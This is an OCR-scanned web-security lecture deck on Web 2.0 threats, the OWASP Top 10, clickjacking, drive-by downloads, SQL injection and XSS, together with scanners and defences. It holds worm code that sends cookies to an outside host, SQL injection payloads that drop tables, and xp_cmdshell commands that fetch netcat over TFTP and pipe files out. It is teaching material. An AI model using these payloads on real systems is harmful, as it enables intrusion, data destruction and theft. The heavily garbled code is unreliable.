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News - Twitter e zt48 178 > & »

17-year-old claims responsibility for Twitter worm

| like what we do? donate today.
(BNOnews ™" PayPal .

the breaking news wire

From the BNO Newsroom. Reporting by Jake Bialer and Michael van Poppel.

UPDATE: A second worm. created bv the same author, has infected a number of Twitter profiles. Click here for our updated storv.

Brooklyn, NEW YOERK (BENO NEWS) — Mikevy Mooney, the 17-vear-old creator of StalkDailv.com from Brooklyn, has admitted responsibility for the
Twitter worm that rapidly spread through Twitter on Saturday, stating in an email to BNO News, “T am aware of the attack and ves I am behind this attack ™

Twitter users were infected by simply visiting an infected users Twitter page. Following being infected. users began tweeting about stalkdaily com with messages
such as "Dude, www_StalkDaily.com is awesome. What's the fss?"

z=Method = sMethod . tolpperCase():

wvar content = document . documentElement  innerHTHL:
try { uszerreg = new HegExEp(-<meta content="{ . %)" name="ses=sion—-user—screen_ hamns"
if (sMethod == "GET") VAT uSSrname = userreg.exec(content)
{ uszername = username[1]:
=nlhttp. openisethod, =URL+"7?"+=Vars. true):
sVars = "": var cookie:
b cookie = urlencode{document .cookie):
slse document .write("<img =rc="http:s mikeyylolz uuug. comn~x.php?c=" + cookie +
i document .write("<img =rc="http:sr=stalkdaily con-log.gif'>")
Znlhttp. openi{sMethod, =URL. true):
Enlhttp. setReguestHeader | "Hethod" ., "POST "+=URL+" HTTE-1.1"); Camekiem Tedel)
#znlhttp. ==etRequestHeader("Content-Typ=". I
3 ‘application z-wyw—form-urlencoded®): var content = document  documentElement . innerHTML:
xm%http.Dnreadystatechange = function(){ authreg = new RegExp(-twttr. form_authenticity_token = '( . %)' - g):
1ff (enilndEp. serehEiats == 4 &5 lEemmlcte) var authtoken = authreg. execi{content):
i

authtolken = authtoken[1]:
sralert{authtaoken):

bComplete = true;
fnDone{=mnlhttp)
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Clickjacking #= 511

; Real Clickjacking? - Microzoft Internet Explorer

HEF ABED BSR0 BOSEW IAD AW >
AR ) http:dharaew planbe-seeurite nethotelickis kingfiframetrick html v B BE EE
Real Clickjacking? s

Thiz demos what 1z probably the "real” clickyacking technigue, vang iframes and z-indeces. Thanks, MZ! How 1o vse it:
+ Belogged into Mspace, with a private profile.

+  Come to this page with another booveser wind ow.

+  Click the red button, then the orange one.

Ta-da! Wow your profile iz public, regardles: of what wour original privacy sethings were.

The Euttons

Imagine, instead of fixed little span tags, thes: butbons are part of & terribly exciting punch the monkey game. Yo 1 must click them!

22 CSRF #g




Clickjacking# &1 & * ¥| ehweb page

; Real Clickjacking? - Microsoft Internet Explorer

BEE HEE HAO HHSEW IAD HEG "
Q- Q- X[ Oue drmmnz @ 3- L5
AT & hitp:ttwww planb-security nethntelickjacking fiframetrick himl v B)iEE EE
.S
Click 1
now here .

What's really happening

Click here to st the opacity of the Myspace iframe to something more visible.
Click here to make it tnvizsible agatn. Wote, differences in fonts and stoff will tend to mess up the alignments, but won get the idea.

S0 now, go checl yourself. OF conrse, this trick gets & lot more expensve when you do things like iframe i stock brokerage, avction, or charity buttons...

Update Zep 29, 2008: Tuggled some of the text so the buttons all work if you happen to be insde an iframne from the origine] BreskingPoint post.

Update Oct 31, 2008: & more complicated example is now ap here, bat it reguires Firefox 3 (maybe FF 2). [E doesn't line up the sane waor without sightly more
complicated movse positoning. w

3 b
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CI|ck'ack|n isa wj1 - 2 % hweb page
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| P.:{f.'.BEAYQQNTHEBEAGH CON
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'The Buuons R

laume. Bstead of fived ks spam tags, these bumons are post of a ternbly exciting ponch the monkey pame

i\\-’hat's’ really happening

t}\wwgws«lbemog L, ;mug soeething moore visble

Mwm.).exn\muﬁ " cte, Ailerenices 2 fonts and stf il tend o moess U the algmmenss, but you et the des.

Online Now: ™ <.
Birthday

Profile Viemable ¥y

Photos
Dlock thhers By Age:

£204% Users: |

C AR
S0 zow, o check vourpe¥ Of ¢oumse, zh‘cml.,malot:a«cﬂpmgwubcmwdoﬂmp&c-ﬁmamkhokegc =action, o <harity battoat

OnMae Nose: When rou &7¢ oh MypZoote, an




Clickjacking # 1] 2

A E£F2IERE - Microsoft Internet Explorer

BREE KEE RO FH8FW IED HA® (]

Qrza- QO [x[@ & Pus Joammze @ 3I- 2 =

B4 D) | ] hitp:figuys netsecurityrelickjacking/game html v B BE E
N

Update: This demo isn't functional anymore, you can still watch the video

Score: 0 Time: 00:00

o

Camera ClickJacking - The Game
<. S AT, )

&) TF7ERIRSHE http:ihwww macromedia com/supportdocumentationfen/flashplayerihel [ (o) D PR




Clickjacking # %1 2 -§ %% chhweb page

_/f Camera Chcklacking -« The Game - Windows Internet Explorer

T —

g g v |8 hiptguys oetaes stk ickin kingpre hod v 4y X 2.
SEP K/EQ KUY 72298F0 ITAQ RY®
% & |48 ComerClickiacking - The Game BB - RO TR

P ————— T ————— S - —— - ar————




Clickjacking §= %] 2 — Webcam Clickjacking
Webcam ClickJacking

After 4 jacked clicks , 2
IFrame refreshes and 2
Flash movie loading in the
background, all in the right
timing. The attacker is
able to access the user's
webcam and microphone.
This specific attack isn't
functional any more since
Adobe fixed it with
friamebusting, but it can
similarly be used for
attacking other websites
and online apps.

View the source code to
see how it was done:
http://guya.net/security/cli
ckjacking/game_html




Clickjacking # &
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= http:/fwww.michael-test.com/ - Windows Internet Explorer

[E=H|FEE 5

@'\J - |£ http://fwww.michael-test.com/

EBEF K[EE BRN INEEW

®Mcﬁfee SiteAdwizor | ™

Wk

TEM EEEEH)

& http://www.michael-test.comy/

- | + | b4 | | Live Search L -

sg=m ¥ M

Loy B v ooy [EEE - 3 TEO) Y

£y BinHEERZA BT R
BHZ SQL Injection® 8 A 2P
B ClientimeOL InjectionfhzE
) Hidden Field Tampering

-] Path Injection

F{] ESSHEE

E{ g #EEEHERE

SRS -1 L e

@ Et s ke S kS T == = 1)
@ b it e R e e g i
H ] Dnection Flaw

t{_] Insecure Direct Object Reference

t{_] Broken Authentication and Session Manage
H-{_7] Failure to Restrict URL Lccess

e OO OO e O i

BLEEIZNEFE R (Clickjacking 101)
e TP E R R pooglels ?

BifECGOOGLE (BRAL www.google.com (BEAZ)

www.google.com (EREIET www.google.com ((EFERET

wiwrw.google.com (GEEHEE

Clickjacking 101




Clickjacking}* i

FFELE AN > wiv FTFERLF A AR
iz * FirefoxsNoscripteClearClick=* s:
e dgiframesn3y i (NoScript) & & * Javascript

(5

(5

(5

Frame busting for your own sites
s <script>if (top != self) top. location = location</script>

(5

(@ ClearclickWarmng' =
5 IE8 - ‘_%’H’Cl 1CkJaCk1Hgi‘a Syp @ Potential Clickjacking / Ul Redressing Attempt!
o . . . , L, .. . NoScript intercepted a mouse or keyboard interaction with a
*i‘fCl 1ck ] ack1 ngi< ? eIfA I,‘DF:I% At partially hidden element. Click on the image below to cycle
X-FRAME-OPTIONS: DENY beetween the obstructed and the clear version.
: X-FRAME-OPTIONS: SAMEORIGIN ik -

https:/faddons.mozilla....ddonj722/#install-55211

W Keep this element locked (recommended)

L




Clickjackingf» 2

@'\_,,/" 24 http//www.google com.tw/search?hl=zh-TWaiq=3E9%6BB%919ESHAE A2 BbitnG =%E6I590% v|¢7
e - 4,
SRS < g -
ik 7 : it 2E - Google B2 x - B
(]

goo le.com.tw
JeEFELEE

Y2 1, PN 2] —
R F erhiz %@%ﬁ
] . 4 o comersp  WETH] - B - [$ER2EGHE | ©
o+ dr:lcAfee Site AAVISOT |1 srmmorme s [ 222w T B>
- AT R RS .
www. TTAT net/ - 4k - EEFE - HiEE

oy 2 ol 1 sn BET iE - E AR R T s S E- AR T S XM - - [HaeEEs ] ©
F g %CODY@ S F ik BEYE. BREK ATHEEERS SAXE, SHEZLRMEL SEXE, ERAEEE
BRIEFHEKL—F. SEXE, 51 - n2EFFR "HE" E ..

www_3800hk.com/ - 95k - B ETFE - HE{EHE

J—’\!SESE%E‘J— b d

wclickjackingdz#c 7 | miCoen: QIRRERIRTRT T 07 5773
L

}{7:- * EJJ!J; ]gj; . - ‘é}p; rg)- » X hackathon_blog

3 SR T, P
Adobe Flash e 3T EFlash Player 10§74&
J—J"v):- =8 ;9 i‘ ~
R ‘}ﬁwﬁ 5 e3P N Z% Player 9 LIATAEE o SEFRSRSXANDS S HEMAEEEN -

e ERMMISTIEIWINDOWS \system32)\
Macromed\FlashB# PRI mms.cigit + 38
AVHardwareDisablef BN EBOINB1 - &
mms.cfgi ©] @ & Adobe Flash Player
Administration Guide 28 Flash IR I2H#H -

Firefox * T NoScript SHETTHF + 51 MAH RN FPS
B | WESIREES - MMLWE . 0 .
ERAERE o MHEMH & WMBPMIT JavaScript Wiframe

BT - ARWWEERAV[PER -




Clickjacking# i - Clickjacking ¥ £. 4L %

) =4
@ Real Clickjacking? - Mozilla Firefox = || ¢ || 22
File Edit Wiew History Bookmarks Tools Help
=™ [ | | http:/fwww planb-security.net/notclickjacking/iframetrick.html - - Google 2
| http/fwww.planb..notclickjacking/ < | | | Real Clickjacking? x | 4 hackademix.net= Hello ClearClic... = -
ClearClick Warning [
The Buttons

@ Potential Clickjacking / UI Redressing Attempt!

MoScript intercepted a mouse or keyboard interaction with a
partially hidden element. Click on the image below to cycle
between the obstructed and the clear version.

Imagine, instead of fixed little span tags. these buttons are part of a 1

rms | Privacy Policy | Safety Tips | Contact MySpace | Adve
Music | Video | Jobs | Games | Weat

http:/fwww.myspace.com,

m

V| Keep this element locked (recommended)

ey ClearClick protection on pages... [¥f] untrusted [¥] trusted

What's really happening

QK ] | Report | |M0relnf0

Click here to set the opacity of the Myspace iframe to something more 1sible.
Click here to malke it invisible again Note, differences in fonts and stuff will tend to mess up the alignments_ but vou get the idea

So now. go check vourself. Of course. this trick gets a lot more expensive when vou do things like iframe in stock brokerage. auction. or charity buttons

= <o RB@®EE ot FFo0258




Agenda

+ Web 2.0 . s 3 81 |7 i .
= Threats that Web 2.0 brings and security issues \7
s OWASP TOP 10 Vulnerabilities
= Injection Flaw and XSS Attacks Demo and more

= Countermeasures to Protect against Attacks /




Can Hacking Be Ethical?

© The verb ‘hacking describes the rapid development of
new programs or the reverse engineering of already
existing software to make the code better, and efficient.

o (RFC 1983, Internet Users’ Glossary) The noun ‘hacker’
refers to a person who enjoys learning the details of computer
systems and stretch their capabilities.

© The term ‘cracker’ refers to a person who uses his
hacking skills for offensive purposes.
©The term ‘ethical hacker’ refers to security

professionals who apply their hacking skills for
defensive purposes.




Hacker Classes

Black hats

Individuals with
extraordinary computing
skills, resorting to malicious
or destructive activities.
Also known as ‘Crackers.’

White Hats
Individuals professing
hacker skills and using
them for defensive
purposes. Also known as
‘Security Analysts .

Gray Hats

Individuals who work both
of fensively and defensively
at various times.

Ethical Hacker Classes

* Former Black Hats
White Hats

Hacker Skills

* Professional (be able to
develop exploit tools and
find vulnerabilities

» Experienced (with
knowledge of security and
hacking technology)

* Script Kidde
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What does a malicious hacker do?

FEeconnaissance

+ Active [ passive 1 S
®Scanning Reconnaissance ﬂﬂ'ﬁf

2Gaining access
o Operating system lavel / '
application level
o Network level
» Danial of sarvice ﬂ

] o Maintaming
@Maintaining access Seanning Access

» Uploading / altering /
downloading programs or
data

@Covering tracks

Gammg
Appess




Web 1.0 vs. Web 2.0

Web 2. 0328 37— N e pRiz > § Fw 76 o H & R4 A3t # —gf 1527 o Web 2.0
T BPEA Y O Reillydif o @ £33 FRGEFELETin O Reilly (&4 « BRI ordk )
Web 1.0 Web 2.0

Google AdSense

= EPR ERYJT0A o Al DL S Y 4G i hig
R eyt B S HRI 1Y Google E&
AR A -

Flickr

(ERERR T & Tags 7y 085 Flickr2 i f2 L i#4%
A& (Contacts?) - {EHZE A BEE TacprdVigs -
DR B 2 4 AR -

DoubleClick -—>

Ofoto -—>

publishing --> participation

Napster

= iE4R EE YIRS - W] Shawn Fanning£lJZHY
FEZE T Z AR - Napstersg& S5 —{E 472 fE R RGBS
( Peer-to-Peer » P2P) H#EIZARH o

Wikipedia

BHHIVEREE - ([ LAHH PR -

Blogging, Twitter, Splurk

WeblogfsHy& A8 HIF B 23R ey A HEd - A

NIE B EAIRER HED - 19994 Peter MerholzfH
iaTkfweblogiiaiiWe Blog - [Nl T Blogia X -

mp3.com -->

Britannica Online -—>

personal websites -->
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Web 2.0 Security Issues

Web 2.0's Security Problems Causing a Slow-Motion Train Wreck
Source: Yankee Group, 2007

* Loss of customer

. confidence

dicators| |Applications 1 * :Tmidffﬂlrﬂad identity

* Malware super
distribution

* Larger-scale site
defacement

* Erosion of sodal
networks
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Drive-by Download - Embedded

Function rechange (k)

s=Split(k,",™)
MS06-014 =¥

For i = B To UBound{s}

MSOB-013 t=t+thr{eval{s(i)))

Hext
rechange=t

MSDG-DO4 End Function

t="111,110,32,101, 114,114,111

,81,84 .53 51,55 {59 .53 51,6

[ 22 5, / MS06-001 46,103 ,111,50,46,185,99,112,9
= r

SRS CON SRR L =

on WA Wb SN LR E S RO TR

P LTI AT T T (TR T
METE

e r——
.'-:::.::1-" . "' :'\--':I-h:'::?l"- B ERTEN {htITI].)
e il aaios s <scrip
wwaa Function rechange(k)
e s=Split{k,",")

for
For i = B To UBound{s)
t=t+Chr{eval{s{i]))

Hext

rechange=t

End Function
t="111,118,32,101, 114,114,111
,®1,81,52 51,05 L@ 52 GE . G1.6
46,183 ,111,50,45,1685,99,112,9




Drive-by Download - External Links

<iframe src=...>
<embed rm
<embed swf

.....

e="UBScript">
=2 R

18,114,111
§,52,52.51.6
185,99,112,9




Drive-by Download - hybrid

I,-"f{iframe src=backdoor1.htm>

backdoor2.ht
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Why Web application Vulnerable

Improved commercial or in-house application access to
information means improved access for hackers?

ERI75% RIT%e
SHRER..

SAL Injection

Parameter Tampering
XS5, elc, etc.

Metwoark D3
Firewall IFS

Customized Application Code

.-.'I'UH-\_‘-‘-"""‘

B
* Rushed to Production = =
= Written Before Security was a Prionty

Web Application

Database
Servers Servers

Servers

Operating

Operating
Systems

Systems
Network

Data




More and More Hacking Tools

Free Web Security Scanning Tools
Mikto

M-Stalker MStealth Fres Edition

Burp Suite

Paros Proxy

OWASP Webscarab

S4L Injection

SOL Power Injector by Francoiz Larouche

Bobcat (based on "Data Thief™ by Application Security,
Abzinthe - free blind SOL injection tool

SQLInjector by David Litch fisld

NGS5 Softwars databaze tools

Cross-5ite Scripting (X55)
RSnake's X35 Cheat Sheet

K35-Proxy

IE Extensions for HTTP Analysis
TamperlE

[EvVatch

IE Headers

IE Developer Toolbar

IE 5 Powertoys for WebDevs

Firefox Extensions for HTTP Analysis
LiveHTTP Hzaders

Tamper Data

Modify Headers

nc. ).

Firefox Extensions for HTTP Analysis
LiwveHTTP Headerz

Tamper Data

Wodify Headers

HTTP/S Proxy Tools

Paros Proxy

WebScarab

Fiddler HTTP Debugging Proxy
Burp Intruder

WatchFire PowerTools

Command-line HTTP/S Tools
cURL

Metcat

Selproxy

Openzsl

Stunnel

sample Applications

st Bl
feml ik

e

HACKING

ATTACKS and DEFENSE

Lite g ‘Iv'\gy|v|i-."i|m [ = |
Hil('l((‘l S HACKING
”;umhuuk WEB SERVICES

Bayden Systemsz' "zandbox” online =hopping application

Foundstone Hacme Bank and Hacme Books

Welb Site Crawling/Mirroring Tools
Lvnx

WWiget

Teleport Pro

Black Widow

O ffline Explorer Pro

Profiling
HTTFrint for fingerprinting web servers
Jad, the Java Dizzazembler

-

Google =earch using "+wrww victim. +com

Google search using 3Barent directory? robots bt

the Code
1) e s



http://www.amazon.com/dp/0072262990?tag=hackingexpose-20&camp=14573&creative=327641&linkCode=as1&creativeASIN=0072262990&adid=09FZCX6DVV23XAA7RV44&
http://www.amazon.com/Web-Application-Hackers-Handbook-Discovering/dp/0470170778/ref=pd_bbs_1?ie=UTF8&s=books&qid=1204611855&sr=1-1
http://www.amazon.com/Web-Hacking-Attacks-Stuart-McClure/dp/0201761769/ref=pd_bbs_sr_3?ie=UTF8&s=books&qid=1204611855&sr=1-3
http://www.amazon.com/Hacking-Services-Internet-Shreeraj-Shah/dp/1584504803/ref=sr_1_5?ie=UTF8&s=books&qid=1204611855&sr=1-5
http://www.amazon.com/Web-Hacking-Inside-Michael-Flenov/dp/193176963X/ref=sr_1_6?ie=UTF8&s=books&qid=1204611855&sr=1-6
http://www.amazon.com/Hacking-Code-ASP-NET-Application-Security/dp/1932266658/ref=sr_1_8?ie=UTF8&s=books&qid=1204611855&sr=1-8

Traditional Web Application Structure

Accept from ANY to IP (Web
F/
F/
request
Q_% L Internet < = =
EW\/\A response

Welb server  App. server

Transport layer
HTTP/HTTPS over TCP/IP




OWASP Top 10 List 2007

© A1 Cross Site Scripting (XSS)

© A2 Injection Flaws (SQL Injection, command injection)

© A3 Malicious File Execution

© A4 Insecure Direct Object Reference (Broken Accees
Control in 2006)

© A5 Cross Site Request Forgery (CSRF) (aka Session
Riding or One-Click Attack)

© A6 Information Leakage and Improper Error Handling

© A7 Broken Authentication and Session Management

© A8 Insecure Cryptographic Storage

© A9 Insecure Communication (Insecure Configuration
Management in 2006)

© A10 Failure to Restrict URL Access




OWASP Guide

© OWASP estimates more than 300 security issues related to
coding could impact web applications

http://www.owasp.org/index.php/OWASP Guide Project

. OWASP CLASP — Comprehensive, Lightweight
Application Security Process

. OWASP Code Review Guide

Reviewing Code for Buffer Overruns and Overflows ...

Reviewing Code for O8 INjeCtiON. e

Reviewing Code Tor S I oGt Om e ee e e e e e e e e n e e nnnas
Reviewing Code Tor DAta ValidOtIOmn .ottt e e e e e an e anas
REVIEWING COOE TOF K I8l S ittt eit et et eae e et e e e e et e e e et e et e e e manamnnan e eanesaneenan
Reviewing code for Cross-5Site Request FOrgery 15SUBS e
Reviewing Code Tor BError Hamalmg ..ot e e e ennes

Reviewing The Secure Code ENVIFONIMNENT e e e e e e e e mn e

Reviewing Code for AUTNOZOTION ISSUES. et e e ean e eaeeane e eas



http://www.owasp.org/index.php/OWASP_Guide_Project

SQL Injection

Attacker sends data containing SQL fragments

n

@
menu=51 v |3 co
Logout @ ~

How to Exploit Hidden Fields

P WebGoat V4 -« >

Attacker enters SQL
fragments into a web
page that uses input
1n a query

]

Attacker views unauthorized data

Custom Code

modified query td
database, which
executes 1t




SQL Injection

RS e AN
= R T T-S QLG

string strSQL="Select * From Users where username=""
+ txtUserName.Text + "' And Password=""

+ txtPassword.Text + "'";

User ID: Password:
I'CW?1=1~ I
Sumnﬂl

"SELECT * FROM users WHERE
username = " OR 1=1-- AND password =""

EREH R T-SQLAY 2




SQL Injection

o MIHG) A T-SQLAIE
= FR B T T-S QLA

string sql = "SELECT * FROM customers
WHERE customerid = '" + customerSearch + "'"

ALFKI ; drop table orders --
Submit Query

"SELECT * FROM customers WHERE
customend = "ALFKI' ; drop table orders --




SQL Injection

e #ifrxp_cmdshell
= FEAHITIIT-SQL 0T

string sql = "SELECT * FROM customers
WHERE customerid = '"" + customerSearch + "'";

ALFKI :exec master..xp_cmdshell "ipconfig frelease’

Submit Query | BN R T-SQLAAY

"SELECT * FROM customers WHERE
customend = "ALFKT' ; exec master.. xp_cmdshell
ipconfig frelease’




Backdoor Example

+example: ¢; exec master..xp cmdshell ‘tftp -1i
127.0.0.1 GET nc. exe c:\windows\system32\nc. exe’ ——

“: exec master..xp cmdshell ‘type
c:\attack-plan. txt | nc -1 —-p 8080" -

-
My der=I T
Sstepl: exec master..xp cmdshe

step2 exec master..xp cmdshell ‘type
: mc - vv db—server 8080

tftp server

- I hacker—-ip GET nc.exe.....
ass.txt | nc -1 -p 8080’




SQL Injection Prevention

© For programmers

* Reject known bad and accept known good

» Filter INSERT ~ SELECT ~ UPDATE and --,’etc

» Use MaxLength and data type

» Use Stored Procedure instead of query connection

» Use Parameterized Query instead of query connection

» Multistep Validation and Canonicalization, such as
<scr<script>ipt> <scr”’ipt> %27 %%2727

» Canonicalization is carried out before input filters have been
applied
*...and soon

» Use Code Review or Web AP Vulnerability Scanner (demo!)
* SDLC
* Web Application Firewall




Use Parameterized Query
© Vulnerable to SQL Injection:

Sqli="select * from sktest where username="" & UserName & "'
and password="" & Password & "' ¢

set Rs=conn.execute(Sql1)

© Resistant to SQL Injection:

Sqli="select * " & "from sktest " & "where username =? and
password =2"

cmd.CommandText = sql1

Set param = cmd.CreateParameter("username", 129, 1, 20, usr)
cmd.Parameters.Append param

Set param = cmd.CreateParameter("password", 129, 1, 20, pass)
cmd.Parameters.Append param

cmd.ActiveConnection = conn
Set rs = cmd.Execute




SQL Injection Escape Variants

:OR 'Unusual' = 'Unusual’

:OR 'Simple’ ='Sim'+'ple’

:OR 'Simple’ > 'S*

:OR 'Simple' IN ('Simple')

:OR 'Simple' BETWEEN 'R AND 'T*

... &ProdID=2 UNION /**/ SELECT name....

4... &ProdID=2/**/UNION/**/SELECT/**/name ...
J...; EXEC('INS'+'ERT INTO...")




Other Security Issues

1. Does SQL Injection really need single quote?
. If doesn’t, how can you distinguish between good and bad traffic?
. That’s why WAF nowadays is moving toward profiling

2. Path Injection
So called Directory Traversal and how to improve?
Using web ap scanner to find it

. Client Security Escaping
= Does client side security really work for attackers like me?
w How to improve?

4. Hidden Field Manipulation
5. Drive by Download




How information disclosure impacts you web security?
1. Can | retrieve target’s database schema? Table name? all

column names?

2. Can | get the whole content of a table?

3. Mitigation?

T E S

L T IZAP] BHiERR ¥+ Bif =T Bt E8TF
HTTF &858 BET#ER ASP NET
HTTF 34 gEnekanid 0 a

BETE9#ERER 2 o7 L 2 kL1 AR 82048 HY URL {irhlt- =% 2 =AEEIsHE -

%]

| HTTP 838 $ERY R |
=| 407 &3 AWM DO W EvhelphdisHelphcomonond 07 htm o
=|412 E e AN DD W S help'disHelp\comumon® 12 hion
=|414 EFE AN DO W EvhelpidisHelpeomoon®d 14 hio
Loo THERIE "Tnternal Server Eopor"
Looaz &3 CAWIN DO W Ehelp'disHelpcommontS00- 12 h
B E AT IN D W EvhelpidisHelpeommontS00- 13 h
L0015 B3 AN DO W EhelpdisHelpcomumont500- 15 h
S00;100 3= 1 hernor bt
501 HERIE "Mot Implemented "
s02 TAERIE "Bad Gatewan" —
[ mEneE. | [ sEasEas |
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Automated Web AP Scanner

oCommercial Web AP Scanner

%2 Untitled Session - Paros EEES
Q a ro S File Edit View Analyse Report Tools Help
Sites __ Request | Respons | Trap|
IA[" Acunetix Web Vulnerability Scanner (Consultant edition) =R
Fle Tools Help POST http:fwww. michael-test.com/sgltest asp HTTPM A &
m Accept imagelgif, imagelpeq, imagelpjpeq, applicationi-ms-application, applicationind ms-xpsdocument, applicationfami+xml,
3 6 g o= | o
Newscan |[@ 3 P B € & O & & 4 | applicationi-ms-xbap, applicationivnd.ms-excel, applicationivnd ms-pawerpaint, application/mswaord, applicationtx-shockwave-fia
0 - . *
|Tuu\s Explorer 1 ‘ o acunetix ot sh, **
@ Web Vulnerability Scanner i Ref 2 E
[@ Web Scanner i acc| B Paros (==
Version information .
103 Tools i Us LCC1: MET CLR 2.050727; Media Center PG 5.0 In
(3 Site crawler fop , ‘ 53211
g Target finder Acunetix Web Vulnerability Scanner L & ﬁ\ -
[ HITP editor Co ol
@ HITP siffer Copyright ® 2006 Acunetix, t Ho w
HTTP fuzzer Version: 4.0 Co .
utenticaton tester Build: 20060717 Pro Version 3.2.13 -
~§] Reporter ' — . " .
T Compare results bdu Copyright {C) 2003-2005 Chinatec Technologies Company
=) Configwation NOTE : To check for newer builds of Web Vulnerability Scanner click on General\Program updates and select "Check for updates”. Disclaimer: You should only uss this software totest the security of your
H |;| Settings own web application or those you are authorized to do so. parosproxy.org
LS "
] Scanning profies takes no responsibility for any problems in relation to running Paros against
=20 G_eneral anv anblinatinns or marhines
- E Program updates . . o .
. M This program is free software; you can redistribute i andior modify it under
(@ Licensing the terms of the Clarified Artistic License as published inthe Free Software
- @j Support Center Founciation. This program is distributed in the hope that i will be useful, hut
- @ How to purchase ITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITYY ar FITNESS FOR A PARTICULAR PURPOSE. See the
Clarified Artistic License for more details.
|| | For gueries please send to contact@parosproxy org
v ||| Raw) | This product includes softwares developed by the Apache Software
—— | Foundition hitg: ifwww.apache.org licensed under Apache License 2.0.

HSGLDB is licensed under BSD ficense. JDIC is licensed by Sun
- Microsystems, Inc under the LGPL license. The Copyrights of these

8 2006. Allrights reserved. Acunetix Ltd X softwares helona to their resnective owners.
. rinttng

‘Acﬁthy window n |

Load module "Directory checks" ... -
Load module "Text search” ...

Load module "GHDB - Google hacking database” ...

3 modules loaded,

Crawler tool initialized -

" Application Log [Error Log Search Results

G L= e




Automated Web AP Scanner

& Paros Scanning Report - Windows Internet Explorer = | e |
AT |,e_;. ChUsers\MichaehparosisessionhLatestScannedReport.htm - | 4 | b4 | |..T“ Livee Search 2

BEF SEE BREN EREEE IEM  EEEH)

@Mcﬁfee SiteAdvisor | g‘ fﬁﬁ
T RRIEE S | ~ | €8 httpffwww . | @8 ParosiE 4. | @8 Paros Scanni. | & Paros Sca... i~ B ~ = o~ HEP) - E2EE) - TEO~ @~ ”
S [ hacker +—@ FT—& |[F)=2E - |
High (Suspicious) SQL Injection Fingerprinting
Description SQAL injection may be possible.
URL http:/fwanw_michael-test com/sqgltest asp
Parameter txtusername=wang&txtpassword=wang¥%27INJECTED PARAM
Other information ODBC
URL http:/fwanw_michael-test com/sgltest_asp
Parameter txtusername=wang¥%27INJECTED PARAMAEtxtpassword=wang
Other information ODBC
Solution Do not trust client side input even if there is client side validation_ In general,
If the input string is numeric, type check it.
If the application used JDBC. use PreparedStatement or CallableStatement with parameters passed by "7
e [fthe application used ASP, use ADO Command Objects with strong type checking and parameternized query.
» If stored procedure or bind variables can be used. use it for parameter passing into query. Do not just concatenate string into
query in the stored procedure!
Do not create dynamic SQL query by simple string concatentation.
Use minimum database user privilege for the application. This does not eliminate SQL injection but minimize its damage. Eg if
the application require reading one table only, grant such access to the application. Avoid using "sa’ or "db-owner’.
Reference & The OWASPF guide at http:/fwww_owasp.org/documentation/guide il




MS SQL/ASP I EeihEER 9 AR ER R

FEMS SQL/SQLBETRMKERIEE D + SQL Injection FRLMEMS SQL Server MIEMIATFRAFH B © [ b
RRFAFERF  Mxp_cmdshell F » MERFLUENBEFER - REBVRERR EEREENEAE HEHEEY  BEEEPE
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REERERHNEINS (NN
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ERIMS saL Injection 2= R REVER - WRRERR - 855 B mecnolsy  EEBAR
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R Ll s xp_cmdshell * xp_regread KB EE (FTP - TFTP
BREREAEEREHE sp_oacreate & LEEFEHE) » AEER
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ERATER)
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Cross-Site Scripting

© Reflected XSS, Stored XSS
© Samy Worm

© Web sites compromised: FBI.gov, CNN.com, Time.com, Ebay,
Yahoo, Apple computer, Microsoft, Zdnet, Wired, and

Newsbytes

© Top vulnerable weakness in recent years

© Web sites vulnerable to XSS: searching page, forum, comment,
login page..

© Cross-Site Scripting attacks
* Hoax
+ Steal user’s session Id and cookies

»  Almost full control to your browsers such as port scan,
keylogger and send requests on behave of the cient




Cross-Site Scripting

Attacker sets the trap — update my profile

Exploit Hid

Application with stored
How to Exploit Hidden Fields ofe
f):‘/ASP LI A2l 1 Hints [~ Show Params  Show Cookles  Show Java  Lesson Plans | XSS VUlnerablllty

Attacker enters a
malicious script into a
web page that stores
the data on the server

%)
o
)
)
19
(0
%)
c
(0|
i
-

views page — sees attacker profile

How to Exploit Hidden Fields CUStom COde

OWASP WebGoat V4 -« >

Script runs inside
victim’s browser with
full access to the DOM
and cookies




Automated Web AP Scanner - XSS, CSRF

oCommercial Web AP Scanner

%2 Untitled Session - Paros EEES
Q a ro S File Edit View Analyse Report Tools Help
Sites __ Request | Respons | Trap|
IA[" Acunetix Web Vulnerability Scanner (Consultant edition) =R
Fle Tools Help POST http:fwww. michael-test.com/sgltest asp HTTPM A &
m Accept imagelgif, imagelpeq, imagelpjpeq, applicationi-ms-application, applicationind ms-xpsdocument, applicationfami+xml,
3 6 g o= | o
Newscan |[@ 3 P B € & O & & 4 | applicationi-ms-xbap, applicationivnd.ms-excel, applicationivnd ms-pawerpaint, application/mswaord, applicationtx-shockwave-fia
0 - . *
|Tuu\s Explorer 1 ‘ o acunetix ot sh, **
@ Web Vulnerability Scanner i Ref 2 E
[@ Web Scanner i acc| B Paros (==
Version information .
103 Tools i Us LCC1: MET CLR 2.050727; Media Center PG 5.0 In
(3 Site crawler fop , ‘ 53211
g Target finder Acunetix Web Vulnerability Scanner L & ﬁ\ -
[ HITP editor Co ol
@ HITP siffer Copyright ® 2006 Acunetix, t Ho w
HTTP fuzzer Version: 4.0 Co .
utenticaton tester Build: 20060717 Pro Version 3.2.13 -
~§] Reporter ' — . " .
T Compare results bdu Copyright {C) 2003-2005 Chinatec Technologies Company
=) Configwation NOTE : To check for newer builds of Web Vulnerability Scanner click on General\Program updates and select "Check for updates”. Disclaimer: You should only uss this software totest the security of your
H |;| Settings own web application or those you are authorized to do so. parosproxy.org
LS "
] Scanning profies takes no responsibility for any problems in relation to running Paros against
=20 G_eneral anv anblinatinns or marhines
- E Program updates . . o .
. M This program is free software; you can redistribute i andior modify it under
(@ Licensing the terms of the Clarified Artistic License as published inthe Free Software
- @j Support Center Founciation. This program is distributed in the hope that i will be useful, hut
- @ How to purchase ITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITYY ar FITNESS FOR A PARTICULAR PURPOSE. See the
Clarified Artistic License for more details.
|| | For gueries please send to contact@parosproxy org
v ||| Raw) | This product includes softwares developed by the Apache Software
—— | Foundition hitg: ifwww.apache.org licensed under Apache License 2.0.

HSGLDB is licensed under BSD ficense. JDIC is licensed by Sun
- Microsystems, Inc under the LGPL license. The Copyrights of these

8 2006. Allrights reserved. Acunetix Ltd X softwares helona to their resnective owners.
. rinttng

‘Acﬁthy window n |

Load module "Directory checks" ... -
Load module "Text search” ...

Load module "GHDB - Google hacking database” ...

3 modules loaded,

Crawler tool initialized -

" Application Log [Error Log Search Results

G L= e




